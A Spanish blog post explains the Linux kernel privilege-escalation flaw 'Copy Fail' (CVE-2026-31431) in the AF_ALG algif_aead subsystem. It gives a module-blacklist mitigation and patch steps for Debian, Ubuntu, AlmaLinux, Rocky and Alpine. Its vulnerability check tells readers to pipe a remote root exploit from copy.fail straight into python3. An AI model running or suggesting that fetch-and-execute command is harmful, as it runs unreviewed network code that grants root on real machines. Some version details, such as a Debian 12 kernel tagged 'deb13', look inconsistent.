La vulnerabilidad conocida como Copy Fail (CVE-2026-31431) afecta al kernel de GNU/Linux y permite una posible escalada de privilegios mediante el uso de la interfaz criptográfica del kernel (AF_ALG).
Esta vulnerabilidad ha sido documentada públicamente en el sitio oficial del exploit y está registrada en fuentes oficiales de cada distro.
- AlmaLinux: https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/
- AlpineLinux: https://security.alpinelinux.org/vuln/CVE-2026-31431
- CloudLinux: https://blog.cloudlinux.com/cve-2026-31431-copy-fail-kernel-update
- Debian: https://security-tracker.debian.org/tracker/CVE-2026-31431
- Red Hat Enterprise Linux:https://access.redhat.com/security/vulnerabilities/RHSB-2026-02
- Rocky Linux: https://kb.ciq.com/article/rocky-linux/rl-cve-2026-31431-mitigation
- SUSE: https://www.suse.com/security/cve/CVE-2026-31431.html
- Ubuntu: https://ubuntu.com/security/CVE-2026-31431
¿En qué consiste la vulnerabilidad?
El problema se origina en una optimización introducida en 2017 en el subsistema algif_aead del kernel.
Según el análisis publicado en el propio sitio del exploit, esta optimización permite que páginas de memoria del page cache acaben siendo reutilizadas en contextos donde pueden ser modificadas, lo que abre la puerta a:
- Corrupción de memoria
- Escritura en zonas no previstas
- Escalada de privilegios (root)
El vector de ataque utiliza sockets AF_ALG, una interfaz del kernel para operaciones criptográficas. Esto no afecta a usos comunes de criptografía como OpenSSL/GnuTLS, SSH, LUKS/dm-crypt o TLS en el kernel. Pero si afecta cuando se usa explícitamente AF_ALG desde espacio del usuario o algunas configuraciones específicas en engines criptográficos.
Cómo comprobar si eres vulnerable
Puedes usar el exploit de prueba:
curl https://copy.fail/exp | python3
- Si no obtienes root al ejecutar el script y te aparece un error, el sistema es probable que esté parcheado.
- Si consigues root al momento, tu sistema es vulnerable.
Mitigación temporal
En la página del exploit comentan que mientras no haya un parce oficial por la distribución, se pueden ejecutar este comando para desactivar el módulo del kernel.
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Cómo solucionarlo (actualización)
La solución principal es actualizar el paquete afectado, que depende de la distribución.
Debian 12 "Bookworm"
Debes actualizar el kernel a una versión parcheada:
apt updateRevisa los paquetes disponibles para actualizar con:
apt list --upgradableTienes que revisar que hay disponible una actualización del paquete linux-image-6.1.170+deb13-amd64 en su versión 6.1.170-1.
Tras actualizar paquetes, es necesario reiniciar para aplicar el nuevo kernel que debe ser este o superior:
$ uname -r
6.1.170+deb13-amd64Debian 13 "Trixie"
Debes actualizar el kernel a una versión parcheada:
apt updateRevisa los paquetes disponibles para actualizar con:
apt list --upgradableTienes que revisar que hay disponible una actualización del paquete linux-image-6.12.85+deb13-amd64 en su versión 6.12.85-1.
Tras actualizar paquetes, es necesario reiniciar para aplicar el nuevo kernel que debe ser este o superior:
$ uname -r
6.12.85+deb13-amd64#Ubuntu 22.04 / 24.04
Ubuntu para aplicar el parche no ha parcheado el kernel. El parche lo hace a través del paquete kmod que lo usa par aplicar mitigaciones.
El paquete kmod proporciona las herramientas básicas en GNU/Linux para gestionar módulos del kernel, es decir, componentes que se pueden cargar y descargar dinámamente sin reiniciar el sistema. Incluye utilidades como modprobe, lsmod, insmod o rmmod, que permiten cargar drivers, listar módulos activos o eliminarlos en caliente. Además, se encarga de resolver dependencias entre módulos y aplicar configuraciones definidas en /etc/modprobe.d/.
Por tanto, nos tenemos que fijar que haya una actualización disponible para kmod en ver del linux-image.
apt update
apt upgrade
Y verifica:
dpkg -l | grep kmod
Para Ubuntu 22.04 el paquete kmod tiene que ser la versión 29-1ubuntu1.1 y para Ubuntu 24.04 el paquete kmod debe ser la versión 31+20240202-2ubuntu7.2.
AlmaLinux 8/9/10
Para las diferentes versiones de AlmaLinux es necesario actualizar el kernel del repositorio de testing, para ello es necesario añadirlo:
sudo dnf install -y almalinux-release-testingY actualizamos el paquete:
dnf update 'kernel*' --enablerepo=almalinux-testingTras esto, es necesario reiniciar. Comprueba el kernel con uname -r al iniciar de nuevo el sistema operativo y comprueba que sea el que toca por cada versión de AlmaLinux:
| Distribución | Kernel parcheado |
|---|---|
| AlmaLinux 8 | kernel-4.18.0-553.121.1.el8_10 |
| AlmaLinux 9 | kernel-5.14.0-611.49.2.el9_7 |
| AlmaLinux 10 | kernel-6.12.0-124.52.2.el10_1 |
Rocky Linux 8 y 9
Para Rocky Linux únicamente es necesario actualizar el kernel desde los mismos repositorios oficiales:
dnf update kernel*
rebootHay que revisar luego que se haya instalado el kernel según la versión que tengamos:
| Distribución | Versión Kernel |
|---|---|
| Rocky Linux 9 LTS 9.2 | kernel-5.14.0-284.30.1+27.1.el9_2_ciq |
| Rocky Linux 9 LTS 9.4 | kernel-5.14.0-427.42.1+19.1.el9_4_ciq |
| Rocky Linux 9 LTS 9.6 | kernel-5.14.0-570.60.1+8.1.el9_6_ciq |
| Rocky Linux 8 LTS 8.6 | kernel-4.18.0-372.32.1+24.1.el8_6_ciq |
| Rocky Linux LTS 8.10 | kernel-4.18.0-553.120.1+3.2.el8_10_ciq |
Alpine Linux
Alpine depende del kernel instalado, no de la libc (musl). Así que también es necesario actualizar el kernel:
apk update
apk upgrade
Verificar kernel:
uname -r
Si el kernel incluye el commit el kernel está parcheado.
Conclusión
La vulnerabilidad Copy Fail (CVE-2026-31431) pone de manifiesto cómo una optimización aparentemente inocua en el kernel puede derivar en un problema de seguridad crítico años después. Aunque su explotación requiere condiciones específicas (uso de AF_ALG desde espacio de usuario), el impacto potencial justifica tratarla como prioritaria en cualquier sistema GNU/Linux. Afortunadamente, los principales distribuidores ya han publicado parches o mitigaciones, por lo que en la mayoría de entornos basta con mantener el sistema actualizado para estar protegido.
Más sobre ./voidNull
- 📖 Aprende todos sobre los comandos de GNU/Linux en nuestro Diccionario "De la A a la Z: Los comandos de GNU/Linux"
- 💪 ¡Forma parte de la Comunidad de ./voidNull!
- 🤖 Disfruta de todos nuestros Cursos sobre Ansible, Proxmox, Home Assistant entre otros.
- 📩 Mantente actualizado con lo último en GNU/Linux y Software Libre. Recibe nuestra Newsletter mensual.
Comentarios